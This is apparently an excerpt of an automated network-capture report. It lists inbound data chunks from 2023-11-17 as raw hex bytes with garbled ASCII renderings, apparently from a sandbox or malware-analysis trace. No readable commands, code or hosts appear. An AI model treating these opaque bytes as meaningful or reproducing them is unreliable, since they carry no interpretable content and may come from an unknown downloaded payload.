2023-11-17 05:22:24 UTC	251	IN	Data Raw: 0c 5f 70 4c 03 4f 67 93 0f ae 6e fd db 5a 28 69 0e df 60 92 cf 82 75 f1 f8 2b 70 11 ff 57 60 c4 db 5a 78 91 04 9f f3 53 0e 82 75 91 86 5f 10 95 2c 13 61 94 51 1f 76 a9 26 4a 68 1a 0e f3 54 15 c5 35 40 a2 d4 d2 30 ed 83 5f fd a5 05 6e 67 aa 16 af 7f 0c c4 4f 6d fd 8f 23 71 41 08 b5 71 b2 f4 d2 24 24 84 5f 60 92 5e 6c a2 92 f5 8d 71 f2 54 5e 30 92 6a ea 70 85 07 1f 6c cd 8f 0d 71 1a 92 0d 75 1c 12 ed 60 92 34 3f 63 92 8d db 42 90 82 5c a6 12 6e e3 54 19 e6 5f 71 51 5c af 76 b9 67 2f 72 f5 09 da 41 11 5b bf 6f ed 1b 4f 2f e1 67 10 10 b7 86 55 64 9e 8b d9 f0 31 16 3f 72 bd 85 9f 8f 91 07 55 08 f2 06 1f d0 93 46 5b a9 d0 04 5b e0 90 12 87 be 48 07 d4 38 e5 82 0b 21 93 de 91 60 83 22 5d ca 80 5b 81 b1 48 47 57 a8 93 cb 3f 70 8f df 1b b1 6d de ff 34 50 f2 87 bb Data Ascii: _pLOgnZ(i`u+pW`ZxSu_,aQv&JhT5@0_ngOm#qAq$$_`^lqT^0jplqu`4?cB\nT_qQ\vg/rA[oO/gUd1?rUF[[H8!`"][HGW?pm4P
2023-11-17 05:22:24 UTC	267	IN	Data Raw: 8b 5b ba 18 43 57 10 1a 4b 77 a1 70 06 46 f2 97 ce 36 f0 09 3d 12 70 19 7c df 6b 93 8e 01 07 93 be 5a f8 10 44 b7 f2 a3 81 63 f1 d2 e6 8a f1 ae 06 de 82 88 87 48 72 19 0d 18 1e 54 87 72 80 57 7e 57 99 80 c6 47 0f df f1 20 3e dc 48 1e 7c 91 4f df ba 0f c5 ec b1 0f 78 47 32 96 c3 ec f4 d8 4e e1 b3 22 47 e1 50 8e 44 58 b5 22 49 1a b3 22 07 40 58 78 51 0e f0 fc 8d 1a b4 53 64 bf f0 3a 85 1f 0d 65 04 50 ff 0f 04 f7 8c d1 06 21 3d 56 43 e7 32 e2 0f 5f fb c4 be dc b2 90 8f 0a 70 29 8d 1a c8 aa 43 8f 0d 99 35 d4 3d 91 49 97 ad 95 cc 5f fb d4 f2 dc 98 90 09 f0 50 d4 d6 5c 35 29 06 7f ac 95 64 9e f3 8a da 52 70 d1 07 5f 7e 1a 06 1a 68 4c 1a 8f 9b 2d 85 7f 0d 4d 06 21 30 16 12 12 c8 92 c4 94 b0 80 be 64 25 7d 7b 79 a1 11 10 74 35 9d c7 77 74 51 21 df 7d a9 0e 83 74 Data Ascii: [CWKwpF6=p\|kZDcHrTrW~WG >H\|OxG2N"GPDX"I"@XxQSd:eP!=VC2_p)C5=I_P\5)dRp_~hL-M!0d%}{yt5wtQ!}t
2023-11-17 05:22:24 UTC	283	IN	Data Raw: 62 21 7a 96 d6 5f 14 41 06 a9 b1 93 73 5f 77 48 ee 82 2d bd ed 4c 70 48 e8 83 25 bd d9 bf 86 81 c2 1e 05 94 07 5e 72 4c de db c8 90 66 5a fd 1d 22 d7 e0 92 02 e5 70 70 af 87 7f 3e de d6 72 88 b5 f3 f3 7b 07 2a 9e 1a 26 03 54 d1 8f eb 42 8c 8b 2d 50 90 3d a1 f9 0d e4 7e 7f 1d 24 c9 71 d7 8a eb f4 f0 06 4e fb 95 47 47 40 92 54 c6 5b 53 d7 3f 88 c1 8d 1e 64 51 06 ec 70 79 82 5b 07 40 13 53 f9 15 b2 3e 73 fd ee 68 90 91 37 1d f1 f0 05 6c 71 1a 06 57 fb c1 1e d4 30 85 57 c6 c0 89 d0 29 a5 93 07 58 98 98 d4 5d 5c ed 67 2f 76 03 04 cb 92 97 6c 58 50 c0 54 b7 b0 37 a6 38 b4 9d 0a b7 96 81 05 7f 72 d9 85 99 71 b1 3d a8 7f 1f 6c 4e 32 d2 1e 8f fb da 12 35 a1 b0 80 ab 74 21 2b db 98 2d 94 5d 0d b9 6e db b1 a5 54 80 e0 14 6e 22 e1 91 d3 ce 70 ee d3 ce 70 5a 97 5f f0 Data Ascii: b!z_As_wH-LpH%^rLfZ"pp>r{*&TB-P=~$qNGG@T[S?dQpy[@S>sh7lqW0W)X]\g/vlXPT78rq=lN25t!+-]nTn"ppZ_
2023-11-17 05:22:24 UTC	299	IN	Data Raw: 1c dc 88 95 72 50 f3 69 4e 5a 04 9b 26 07 54 93 f6 5e 9b 33 0c 7f 64 b5 ed 5b f0 94 22 7e 72 f1 0b 64 b1 e5 0f 4f 72 61 06 13 74 e4 02 ef 71 dd 8d 0a 78 c6 13 af 5a 69 82 42 34 41 02 0e 22 79 02 a2 68 f0 0a 4f fb 49 ee b8 13 01 06 ff f3 8a 6e 62 e0 90 35 4e d8 b1 f2 57 60 f9 fa 6f 61 fb f9 b7 99 50 0d ce 16 9d 27 5b f1 99 27 5b ba f1 25 5b ca 11 05 d4 80 d1 02 2f 24 19 16 b7 d0 f2 02 58 18 af b7 01 d0 26 8d 12 60 c6 37 5c 0c 12 57 c5 fe 20 04 a7 c1 93 86 76 98 e5 b3 5d 42 ae b7 5d fb 1a 56 d0 10 01 72 7c b0 12 ff 5a 04 8f 6e 4e 7a 25 1f 11 50 d1 06 2e 78 23 1f b6 46 30 0e 49 50 a2 d6 a8 b2 6e 27 4e 64 f9 4c 18 e6 93 d6 1f 70 78 0a ae 71 96 40 7a b1 90 37 4d 6e f9 4c a9 71 3d 15 1e 70 06 02 b3 7a 01 04 14 64 aa 06 11 64 ed 0e d4 23 89 3d 5f 26 89 7b 55 fb Data Ascii: rPiNZ&T^3d["~rdOratqxZiB4A"yhOInb5NW`oaP'['[%[/$X&`7\W v]B]Vr\|ZnNz%P.x#F0IPn'NdLpxq@z7MnLq=pzdd#=_&{U
2023-11-17 05:22:24 UTC	315	IN	Data Raw: 02 4f 73 5b ed 61 18 96 d3 23 5e 98 62 58 2b 95 c6 58 4b cb 02 23 52 8c 66 58 61 ee 1f 35 77 ec 0c 4e 14 96 04 5c bf 70 36 d4 6e 1a 06 4c fb 7f 2d b0 fb d4 06 4f fb 91 3d 9d 30 88 1a 23 37 f2 06 56 b0 90 46 5b 4b 31 8a 5e 72 a7 86 d4 6c a6 8d 44 4b 4b c6 4c 20 80 8d 5b 47 90 0c 59 91 81 5d de d1 92 3d 9c 0c 81 79 15 71 97 2f 9f 72 95 31 3e 7c ad 26 3d 64 7a a4 62 d3 97 d5 23 44 31 00 59 d6 92 42 23 55 35 00 49 0f 9f af 59 0c 53 00 fd 76 96 8b 5b 47 90 2c fd 5e 15 f4 74 b0 fe 2d 88 fb bb c6 4b 31 d1 03 64 4b 69 7a 1d 50 b6 5d 1f 74 aa 5b 5b 0c a9 66 fe 60 55 8d 44 30 9d de 23 14 f1 0f 7e 3b 90 a4 49 35 95 7a 0b 4b 6a 7a e7 3a ee 54 9c 7e 93 05 be 62 d3 67 62 34 7a 3a b9 76 52 7a 73 94 97 6b 1d 74 b1 02 37 74 ed 1a bf 76 8d a2 20 60 7a 00 23 7a 73 00 5b d0 Data Ascii: Os[a#^bX+XK#RfXa5wN\p6nL-O=0#7VF[K1^rlDKKL [GY]=yq/r1>\|&=dzb#D1YB#U5IYSv[G,^t-K1dKizP]t[[f`UD0#~;I5zKjz:T~bgb4z:vRzskt7tv `z#zs[
2023-11-17 05:22:24 UTC	331	IN	Data Raw: df 46 05 79 0d 5f 5b 92 76 1b 71 e1 df 82 a8 12 06 23 54 dd 06 50 f5 f0 fb 0e 70 7f 7a 7b 24 91 03 09 70 94 59 5f 2e cc 5d dc b4 d9 c5 93 71 96 06 dc 9c b5 df b1 23 c4 93 df 41 85 46 1b 38 51 07 47 27 51 26 5f 50 1a de 6c b0 fb 52 0f f0 c7 8d a6 f9 d5 22 43 b0 91 26 47 b7 d5 22 6f b0 15 06 b7 70 ee 62 5c 70 1c 4d 5e fd 91 41 5e 7f 3e c7 d2 64 51 0e d2 74 6c 86 5a 70 ba c1 d2 74 9d c4 9f 3d d9 8d 8c 1b 43 06 73 73 51 c7 b2 72 92 c6 5f f9 fd 22 07 fd 3d 17 3b 79 91 08 5c b0 10 9f b7 0d 93 8d 15 98 d1 0f 0b 70 fc 00 66 30 96 7b 5f 69 c4 ee a8 2f 92 06 dc 70 55 02 da b0 e4 0a 00 2d 9b be 5f 5a 6e 86 76 54 52 df b1 70 1c 0a 77 f9 d7 56 d6 36 91 2a d2 34 29 02 d6 36 a1 06 d2 34 09 02 d2 1c 29 02 5f 43 43 83 a0 f9 dd 22 73 70 18 68 1f f9 d7 3a d2 1c d1 9b 5b fb Data Ascii: Fy_[vq#TPpz{$pY_.]q#AF8QG'Q&_PlR"C&G"opb\pM^A^>dQtlZpt=CssQr_"=;y\pf0{_i/pU-_ZnvTRpwV6*4)64)_CC"sph:[
2023-11-17 05:22:24 UTC	347	IN	Data Raw: de ae 92 a3 d7 8f e1 91 77 8e 38 b1 df 9f 51 aa de ac 32 9d c6 27 ae 58 de df b0 b5 0a df 45 c1 06 6b 67 01 85 e4 71 80 c5 47 c2 90 3e 87 85 ae 54 50 c3 90 57 7c 02 10 26 53 71 81 5a 7b 6a e1 d6 5f 54 a5 04 2e 71 52 de 92 24 4f ef 89 70 71 96 5f 04 01 06 6f b1 89 04 9d ae 5c d8 bb 72 af 31 5d 1a e9 96 5f 04 e1 06 23 34 d7 07 1f ec dd 22 df 51 aa 76 4d ae 65 ee 5d bb 91 d8 96 ae 7b df 96 fd dd 45 ff 77 a1 07 d6 3c b5 5e 2e 71 a2 ae 96 a9 71 b6 5f 20 f1 05 db a1 11 4e 13 54 c5 66 5e 08 29 06 10 70 94 36 5e f8 f1 06 e5 75 d1 44 1d 34 48 82 ac 71 c5 22 17 a0 17 66 1a d0 90 8a be 70 d5 22 03 71 9c bd dd 7c 50 06 03 54 dd bf 58 01 b1 2e 2b 54 d9 06 5d e0 a3 88 d2 cc f5 22 af f0 91 f5 fa 91 90 e7 5c fd 77 8a dc fa 91 0e 6c ab 20 02 1e 74 51 07 85 20 a1 06 0b 86 Data Ascii: w8Q2'XEkgqG>TPW\|&SqZ{j_T.qR$Opq_o\r1]_#4"QvMe]{Ew<^.qq_ NTf^)p6^uD4Hq"fp"q\|PTX.+T]"\wl tQ
2023-11-17 05:22:24 UTC	363	IN	Data Raw: 8d 51 74 10 e7 bd 55 55 0a dc 89 9d 06 2a 20 a2 f0 da 9d 9e 88 54 71 ee a4 44 60 31 1c dc b0 99 3d df 34 b5 4e d6 24 b5 12 9e 6b c0 66 60 30 e3 09 5f 5a a5 a6 67 98 83 7c 5d 7b 99 dd 3f c7 12 c0 5e b0 aa f3 86 2c 62 fe df 71 91 bc 5f 83 6d 7a e3 9b d3 83 b2 20 ef 38 d4 83 51 a7 4b 92 98 0e df f9 9f 8d 0f 74 18 50 fe c3 87 46 5a 7b 92 0c 1b 71 9b 56 b7 59 80 05 55 f3 57 0e bf e1 85 07 2a f0 59 85 a2 72 9e 88 da 70 83 07 1d 55 fb 07 0a 98 df f0 a0 1a 6e a6 26 48 f1 06 6f 90 87 06 22 b2 91 db 5a e8 66 0e 4f ac 5b 6f be f4 4f c5 9f 0e 8e 87 5c 10 91 2e 66 d1 92 df 96 30 10 a6 d6 52 92 59 5b 70 48 c7 81 ba 4d ce 81 b1 f5 ee 8a f0 ee df 00 d1 14 47 5a 5c c4 e0 5d cd 73 04 57 b2 96 e6 ff 70 b5 0e b7 4d 20 27 5d 60 7a 6f 2a 30 c9 df 1c 78 49 05 bb 7d 58 07 bf e1 Data Ascii: QtUU* TqD`1=4N$kf`0_Zg\|]{?^,bq_mz 8QKtPFZ{qVYUWYrpUn&Ho"ZfO[oO\.f0RY[pHMGZ\]sWpM ']`zo0xI}X
2023-11-17 05:22:24 UTC	379	IN	Data Raw: 03 5b 9a 90 02 cd d6 90 02 01 4c a2 12 37 a3 ca 28 2e 02 87 e3 b7 4b 81 05 29 66 66 37 0e 76 c2 36 d1 40 8c 1e 6c 86 14 f9 9e f0 f6 16 50 fe b2 05 cf 6d d1 a7 3f f5 4a 09 d1 67 20 06 7f e5 14 06 b2 0d 93 8d b0 1a e5 ee 6d 7c f1 02 d4 80 41 30 ee 72 79 ea 7d 24 f3 0e 47 1a ac 8e 42 70 7e a7 de 6d 78 f4 5d 70 35 3c 51 40 be 06 35 75 18 78 5b 1a 90 8f df 6e c6 8f 31 78 79 74 2f 73 d0 76 10 f9 d7 3e b7 d9 b2 02 5b 00 fb 42 b4 cb 21 21 6f ff 91 07 35 30 94 6c 5e 27 79 4a 0d 72 81 26 d6 36 ad ee dc 25 93 41 b4 52 04 e6 66 21 79 7e 0d 72 c6 51 1b 98 b6 43 5d 30 79 58 1c 72 96 36 35 3a 78 6b 8f 68 60 12 1f a9 93 e8 9f 0c 48 c6 d4 b4 48 c7 5f 22 48 cd 82 68 48 cf 82 74 c9 0e 1e 70 81 db 07 68 79 20 fd 90 85 54 5b 91 c2 57 5b 40 18 16 19 3c 79 1e 0a 74 dc ef 78 fb Data Ascii: [L7(.K)ff7v6@lPm?Jg m\|A0ry}$GBp~mx]p5<Q@5ux[n1xyt/sv>[B!!o50l^'yJr&6%ARf!y~rQC]0yXr65:xkh`HH_"HhHtphy T[W[@<ytx
2023-11-17 05:22:24 UTC	395	IN	Data Raw: 8c 8f 57 6e 2d bf 54 50 32 7e c6 9e 86 f0 a3 1a ce 74 bb 92 04 77 41 91 03 43 73 53 22 01 f0 da 2d 50 60 27 17 5c a5 30 04 50 c6 fc 16 5f fd 85 6c 37 52 bd 85 9d e9 73 3b 5c bb 70 36 98 4d bb fa be 75 08 66 75 73 7a 45 c2 d0 90 73 ec b2 85 07 1c ed 1c 4a 71 8f 18 8a 7b b2 11 44 53 79 1c 0a 16 71 d9 86 5d 5a 6f e6 59 60 91 05 db 73 92 05 b6 fb f5 40 5f 78 81 46 5c 1c 92 cf 9d 7d ab cf 7f eb d5 e7 4c 59 dd e7 09 a9 cd 07 bf 70 59 09 e9 74 a1 2d 94 2d 51 52 6e b0 74 e7 42 71 19 ce 9f f3 e1 57 bb 24 f1 f1 87 7b fe b7 da 23 66 86 86 a9 cd b4 a3 4b 57 06 5a d0 ed 09 d2 33 9f c6 15 fc 73 e1 5b a9 7f c6 48 00 4c 03 4f 67 d1 0f 4f fd c5 34 a0 72 de 57 df 71 ba d7 d6 e4 b5 8e fe 3f e9 92 7b 58 51 02 bf 71 91 81 9d 29 ba 6c 97 30 3b 32 7f 65 c9 27 4a b0 95 9e 0e b1 Data Ascii: Wn-TP2~twACsS"-P`'\0P_l7Rs;\p6MufuszEsJq{DSyq]ZoY`s@_xF\}LYpYt--QRntBqW${#fKWZ3s[HLOgO4rWq?{XQq)l0;2e'J
2023-11-17 05:22:24 UTC	411	IN	Data Raw: c8 a9 24 50 01 3f 73 aa 60 5c e8 f7 05 6c f5 f0 05 c8 1f 92 53 4f f5 43 d6 ca 21 20 38 5d fb 59 6d 90 ea 80 3c 25 41 2b 06 4f 70 9e 82 cf 70 91 06 5f fb 59 35 91 86 50 01 2a 70 ca c7 a7 73 12 e6 60 f3 91 c6 5e f3 69 07 2a 3d 1a 06 1d 64 12 fe 56 05 9b 85 d7 0a 89 05 5c d0 12 fe 5c 72 a9 16 56 7f 15 87 5f 48 f9 41 5e 71 91 0e db 34 98 16 37 0c d7 0f 5f 78 15 f6 5f 78 a6 f9 a0 8f 91 ee 57 d2 90 06 d4 34 b5 06 1b f3 55 12 00 2e ca 8d ff 95 cc c5 37 33 97 50 0f 76 c7 54 6c 71 ba da fe 7e ba 46 59 5b a1 27 5a 5b fb fd b7 c3 9f 2e d4 25 91 0e 86 9e 1a 4c 47 a9 79 f6 dc 89 90 09 5f 56 91 cd 5e c4 91 0d 5d 94 91 0d dc 89 92 09 da 26 91 02 5f 70 aa c7 50 f5 df 07 5f 77 1c 52 7b 18 4c df 0d 70 4c de 35 76 c0 57 d2 f4 95 22 b7 70 f3 56 b7 03 67 ff 7f 8f 1a f6 e6 77 Data Ascii: $P?s`\lSOC! 8]Ym<%A+Opp_Y5Pps`^i=dV\\rV_HA^q47_x_xW4U.73PvTlq~FY['Z[.%LGy_V^]&_pP_wR{LpL5vW"pVgw
2023-11-17 05:22:24 UTC	427	IN	Data Raw: f6 23 38 9d 3d 89 b1 93 7a 5b 70 a7 16 7f fb ed 22 47 fb d1 05 64 bf 91 72 53 fb 86 8d 5e f9 80 02 d6 77 53 03 13 54 8d 85 98 70 95 8d b6 fb 56 8f 33 54 91 22 b4 73 1c 4f 5f 4b 50 4e 28 57 1a 06 1d fb a3 c6 7e a6 91 79 1c 0c 83 3d 98 06 97 86 d4 47 18 11 d6 40 2a 46 3d 72 91 06 53 f3 51 02 64 b1 e7 46 86 f5 4a 09 db 05 11 02 d4 78 46 2d 0b 70 89 de 74 af 50 86 a4 72 50 fc 5d 4b 42 46 0a 50 81 78 08 fb 62 86 69 64 7a 0c 0a f0 85 d2 de 4a 1a 17 d4 46 91 3d ad 0f b2 7a 47 4b 5c 06 2c 78 1a 73 5f f9 c4 06 3f f9 a0 85 b2 74 53 13 1e 50 12 24 b6 71 87 d5 b4 d5 11 0a fe fb 11 37 d4 60 18 36 d6 61 d1 1d 7e 73 8f ef 5b 99 cf 86 ec fb 63 07 5f 1a 85 35 8d f5 67 78 6f 31 d1 44 47 73 67 05 a9 b0 d5 f6 5f 5b 66 8b 3b 54 91 8d 71 70 1a 3a cc f9 bd 95 d6 4e b5 85 9d b0 Data Ascii: #8=z[p"GdrS^wSTpV3T"sO_KPN(W~y=G@*F=rSQdFJxF-ptPrP]KBFPxbidzJF=zGK\,xs_?tSP$q7`6a~s[c_5gxo1DGsg_[f;Tqp:N
2023-11-17 05:22:24 UTC	443	IN	Data Raw: 26 78 70 a1 d8 9e f3 50 36 dc 9a 71 07 50 f5 c8 f8 1f 0c d0 33 ff 4a 13 8d 5f 4e aa c4 50 fd a9 67 64 70 ce 0e d2 7c d1 2d 8f fd b9 4a d4 78 b1 38 7f 50 bd 8d 0f a0 b1 8d 4b c2 90 15 4b 72 82 a7 5f fc 85 05 fe 70 b0 02 6f fb c1 07 4c ae a1 46 5b 52 92 04 4c 70 90 1e 7f 74 50 05 1c 11 92 08 4c 05 97 8d 5e 90 83 03 5f fb 80 df 1d 74 12 c7 53 33 71 14 1e 2d e4 97 b6 c4 70 60 58 10 14 c6 50 fe 3b 27 5e 50 dc c7 69 78 30 4d bd 60 9d 66 57 90 9d de 94 0f d1 09 dc 7d b4 0b ff 63 f2 17 7e d4 f7 17 47 77 91 09 99 65 14 17 d4 20 b9 83 8d 33 11 12 7f d4 b7 8d 27 44 f3 28 6f b5 f3 2c 73 d0 91 05 63 c2 51 2f 5c 75 c8 c6 7d a8 d9 6e fb e1 87 1a 3f 59 f1 15 1f 1c 76 74 2b 5e 71 2c 47 f3 51 06 5e f3 56 1a 64 34 b5 3e 5c 12 fc 46 56 7f 1d a1 a3 8f 6e 2e 82 a9 2f a6 73 70 Data Ascii: &xpP6qP3J_NPgdp\|-Jx8PKKr_poLF[RLptPL^_tS3q-p`XP;'^Pix0M`fW}c~Gwe 3'D(o,scQ/\u}n?Yvt+^q,GQ^Vd4>\FVn./sp
2023-11-17 05:22:24 UTC	459	IN	Data Raw: 6a 4f 72 94 00 5e 24 48 1f df 75 92 c2 54 73 57 0d 5b 44 48 5f df 55 95 86 fd 70 0d 3d 9c 64 ed 96 9f 6b b9 07 77 4b 50 7b 17 5b 1a f1 9f 49 ba f4 1a 4a 88 8e 86 74 0c 4f 65 f3 51 07 1f ff d1 3d 1b 54 a1 7a 83 70 e0 16 0f 73 c5 22 43 70 e3 22 df 26 a5 c4 5f 30 a0 2e 50 f5 2f 07 2c f2 e3 b0 06 f4 f3 e1 30 94 43 69 9f 78 99 87 57 27 11 76 9f df 11 1c 7f 30 e0 2b 1c 01 8d a6 0c fb cd 22 47 31 e3 0a 9f 01 8d 05 96 32 4e 07 5d 32 71 4a 7b 58 99 85 98 71 51 74 6f 71 1c 74 5e b1 e3 f0 23 43 1a d3 d2 3b 99 02 74 a3 11 40 a0 70 e5 0c 59 a9 91 30 db 20 ad 01 5f 04 96 1e 86 74 9b 07 11 f0 fc 85 9e 78 81 3d 99 0e 49 c6 47 5c 1a cc 5f 5b 59 85 a6 74 ed 61 d2 74 dd 85 5f a1 ba 5a 7b 54 1c c6 2d 8d 1c 52 da 7c 53 8d dc 62 41 0f 86 32 65 2d 56 69 d5 36 1f 46 9c 86 5c 8c Data Ascii: jOr^$HuTsW[DH_Up=dkwKP{[IJtOeQ=Tzps"Cp"&_0.P/,0CixW'v0+"G12N]2qJ{XqQtoqt^#C;t@pY0 _tx=IG\_[Ytat_Z{T-R\|SbA2e-Vi6F\
2023-11-17 05:22:24 UTC	475	IN	Data Raw: 5d 82 a9 d1 db 87 05 92 db 0f a0 98 2a 9f f3 6b 07 50 fe 50 46 de 60 ab 25 a9 49 41 46 dc b1 6f 26 35 f9 dc 14 ef a1 99 4b 4b 70 98 05 0a ac 21 05 96 ad 93 27 5d e0 ea f7 ef 6e b0 06 31 ba 1a 4b 43 64 90 cf 86 f8 5d 05 a6 20 b0 8d 12 54 c1 27 4e c3 95 05 86 f9 71 1a 8c 5b 40 c7 6f 17 dc 1a 82 2b 69 37 54 40 16 44 97 e3 95 de 9b 73 58 46 52 a1 51 85 22 c0 95 db 41 41 93 a5 3f 30 8e df 9d ac 90 bf 0f 54 91 06 83 30 99 db 44 7f 1d ef 5e 61 b4 49 7f f9 dc fe d2 23 94 f6 41 98 e5 57 7b fd c7 1e d6 e4 c4 d2 6f 63 28 64 d2 3d 8d 56 4d 18 1c 12 90 a4 91 12 9f 62 c1 73 d4 60 5f 2d 12 cc 90 42 0a 78 18 06 12 a8 1a cc 74 be 18 4b d7 9c 1a c9 3e 70 41 8d 94 11 91 c4 bb 30 90 c9 d6 3d 29 d6 5f 10 91 04 eb 92 9e fc 9e 99 93 2d 8c b7 e1 95 0f 05 01 08 d2 7c 1c f7 57 40 Data Ascii: ]*kPPF`%IAFo&5KKp!']n1KCd] T'Nq[@o+i7T@DsXFRQ"AA?0T0D^aI#AW{oc(d=VMbs`_-BxtK>pA0=)_-\|W@
2023-11-17 05:22:24 UTC	491	IN	Data Raw: 08 3f d1 95 e7 fc 10 90 e6 1d 11 f5 a3 5e 7a e4 ce f0 1d f4 46 2e 13 14 a9 2e 91 3e 73 32 12 11 6f ff 65 d7 74 2c db f3 27 3f 62 a1 46 1d 1c d3 9a 3e 11 b3 86 2d 5d f5 63 39 19 ff a1 57 97 91 5c 1e 55 73 0e 16 1e 31 00 5f 52 91 0f 54 3a 94 00 78 34 94 07 39 05 ff 65 c4 13 a8 c6 58 1e 75 02 bd 25 f2 69 5f 55 28 ef c3 14 fe 66 62 f1 a3 86 5d 13 d3 9a f6 d2 ac 6f 38 d0 d0 73 3f 54 b6 c4 5b ff f3 82 b2 77 9c 4d be 73 fd 69 28 30 8c 32 3d 1f 31 08 3e d0 2c 2e 61 13 f0 d6 33 13 e4 6a ff 09 f5 03 e5 19 98 fb b6 6c de 27 7d 51 f4 06 42 19 95 e6 73 36 8c 45 79 6c 56 3d 31 1f ff 2b 1d ad f8 fd a3 54 f4 1f 39 f0 84 79 7e 07 b0 ef 58 01 b0 f9 58 77 fe 76 be 73 12 5e b8 30 11 4f ff 2a e0 25 30 52 97 31 5d 84 92 4e 5d 1e b7 23 0c 13 e2 e6 7f 58 e6 6e 36 40 9a 07 0f 9f Data Ascii: ?^zF..>s2oet,'?bF>-]c9W\Us1_RT:x49eXu%i_U(fb]o8s?T[wMsi(02=1>,.a3jl'}QBs6EylV=1+T9y~XXwvs^0O*%0R1]N]#Xn6@
2023-11-17 05:22:24 UTC	507	IN	Data Raw: 46 11 70 91 10 3b 1b a1 e2 58 e1 f6 31 2f 11 e3 eb dc 18 15 60 5d 53 9b e0 3b 61 b7 02 19 6a f3 6e 7d 46 fc 06 9a d3 b6 60 4f f1 50 24 6d 00 e8 06 5f cd b2 05 7b e5 13 ed ff 71 dd 53 0b 70 9c e5 71 60 a0 42 5f be 72 05 0c 19 eb 0e 3a 70 24 62 2b 1c f4 6b 0b 70 e8 76 3a 70 83 06 60 4f a9 36 1c 06 f0 07 5d f2 30 79 0f 46 11 47 17 20 d3 5e 1f 2a 91 07 bf 28 c1 47 0f 31 d2 07 bf 70 01 83 4c 55 93 27 65 30 d1 65 59 45 a1 37 5e d0 93 47 2b 04 e3 4a 36 03 cf 72 fb 72 51 01 9f e0 b0 91 49 10 9f 37 7e 19 9f 5e 05 70 cd a7 43 1f fd 96 29 15 91 45 fc 2e 91 ab 7e 65 d1 43 12 3d 91 06 b1 51 8b 69 47 17 91 6c 7e 6e 11 2d 0b 1f c1 94 30 f0 c2 06 dd 52 b1 73 31 30 ef 94 31 32 1d 06 39 d3 ca 06 bd d4 b8 ea 13 19 91 be 39 33 62 e7 14 b6 fa e5 d0 d6 1c 21 f0 77 fe 06 aa 52 Data Ascii: Fp;X1/`]S;ajn}F`OP$m_{qSpq`B_r:p$b+kpv:p`O6]0yFG ^*(G1pLU'e0eYE7^G+J6rrQI7~^pC)E.~eC=QiGl~n-0Rs1012993b!wR
2023-11-17 05:22:24 UTC	523	IN	Data Raw: 56 5d 70 fd 06 5f 70 17 37 2b 43 4a 35 bf 43 7d 35 ae 43 67 35 4f 44 85 32 47 44 8d 32 7f 44 b5 32 77 44 bd 32 1b 44 d8 32 11 44 7a 32 af 44 64 32 0a 46 cb 30 00 46 ef 30 dc 46 19 30 f3 46 ef 3b dc 4d 19 3b e5 4d 2e 3b 9b 4d 4d 38 be 4e 77 38 5e 4f 97 39 54 4f b8 39 71 4f a2 39 0e 4f c7 39 04 4f 13 39 d8 4f 1d 39 5f 70 91 66 5d 70 e9 06 5f 70 ff 36 2c 40 e9 36 a2 40 93 37 0f 41 c4 37 05 41 32 37 f7 41 3c 37 df 42 14 34 d5 42 3e 34 e3 4a 50 3c 99 4a 85 3a 46 4c 8f 3a 62 4c d3 3a 18 4c f7 3a 34 4c e1 3a d0 4c 05 3a c6 4c 2a 3a 9f 4c 54 3a b8 4c 7d 3a ae 4c 8d 3b 7e 4d b7 3b d2 4d 03 3b c8 4d 2f 3b 9c 4d 59 3b b2 4d de 38 0b 4e c8 38 d8 4e 1d 38 ce 4e 27 39 e4 4f 51 39 5f 70 91 76 5d 70 ad 06 5f 70 db 37 10 41 c5 37 86 41 4f 37 bc 41 30 34 6f 43 a4 35 65 43 Data Ascii: V]p_p7+CJ5C}5Cg5OD2GD2D2wD2D2Dz2Dd2F0F0F0F;M;M.;MM8Nw8^O9TO9qO9O9O9O9_pf]p_p6,@6@7A7A27A<7B4B>4JP<J:FL:bL:L:4L:L:L*:LT:L}:L;~M;M;M/;MY;M8N8N8N'9OQ9_pv]p_p7A7AO7A04oC5eC
2023-11-17 05:22:24 UTC	539	IN	Data Raw: 30 b4 b1 b3 8d b1 92 91 2e 5e 90 91 e9 d2 27 99 8b 14 74 1c a6 5e 6c 71 31 3f 73 48 02 76 b0 91 0e 77 a8 b0 07 73 b1 81 85 9d 70 81 df 03 54 b1 df 1d 98 91 de 3e 9c 48 5a d9 80 48 27 3f 56 48 5a 76 80 11 02 43 a9 b1 44 ab a8 f0 fe bc 73 61 de ff 11 65 df 03 5a 70 04 6f 11 95 26 dc b5 6d 3d 9a 70 97 fa 21 f2 38 c7 4f 5b 59 85 a6 74 b1 4e 5c 5d 81 86 16 fd c5 80 57 fd dd 44 dc 11 81 26 86 74 16 87 4f a8 17 67 ff 32 54 09 05 98 48 42 bd 7d 81 2e 87 11 61 42 50 50 48 42 fc 33 9c a6 51 f3 54 fb 7f 7d cb 26 4c 74 16 fa 9e 61 cb f2 23 c8 aa 06 1b 54 a1 7b 75 fb 47 2d 49 a3 f1 27 1e f7 a1 27 50 fd 9d 85 c3 5b 41 07 43 b0 18 06 43 b1 95 06 cd 30 48 5a 5e 8c e4 ed 9f 0f b5 e1 7f 37 b3 4e 5c 5d 14 b9 19 0f 37 40 a0 35 8c e3 1a 28 63 43 b6 a7 53 43 5c b1 78 56 5c b1 Data Ascii: 0.^'t^lq1?sHvwspT>HZH'?VHZvCDsaeZpo&m=p!8O[YtN\]WD&tOg2THB}.aBPPHB3QT}&Lta#T{uG-I''P[ACC0HZ^7N\]7@5(cCSC\xV\
2023-11-17 05:22:24 UTC	555	IN	Data Raw: b6 5c 60 f1 36 4b 71 a1 02 7a 50 a0 1e 2f 5c ad 06 4f 56 b9 09 6b f5 f1 6a 6f 7c f0 36 ac f4 12 ea df 34 12 7b 43 70 c2 50 8f f3 93 48 3e be d4 1e dc 1d 8d 07 ff fb e4 16 6c 8f c3 52 e0 51 14 06 1a 78 1a d0 74 a0 1c 4e 5d 71 a1 0f 6f fa c8 f9 db ab d9 09 db f7 71 2b df 49 01 34 04 59 10 06 26 71 01 06 0e e0 91 8c 0e 64 93 82 9f bf d7 87 92 c6 90 09 5b c6 4a 46 6d 44 48 02 c2 b0 d1 07 52 60 49 0a da 11 91 09 5f c6 53 09 e9 21 90 df 5b c1 43 06 87 7c 04 67 5f 93 10 26 b9 f1 3b 4e b9 f1 d1 d6 dc 44 e1 06 6b 90 a9 c4 6b d1 5d 09 e9 31 6e 57 5a e0 14 ec 6b 50 ee 4e 37 be 85 86 5a e1 27 b3 5e 1a d1 be 5e 68 e1 05 5e 08 92 bf 5e 6c 96 d7 4c 80 34 66 49 05 95 8d 9d 9b 99 09 6c b0 e0 aa 9f f3 79 07 75 55 01 9d 5f 90 90 12 bc 71 19 02 d9 4e 8e 04 4c 72 a1 8e 5b 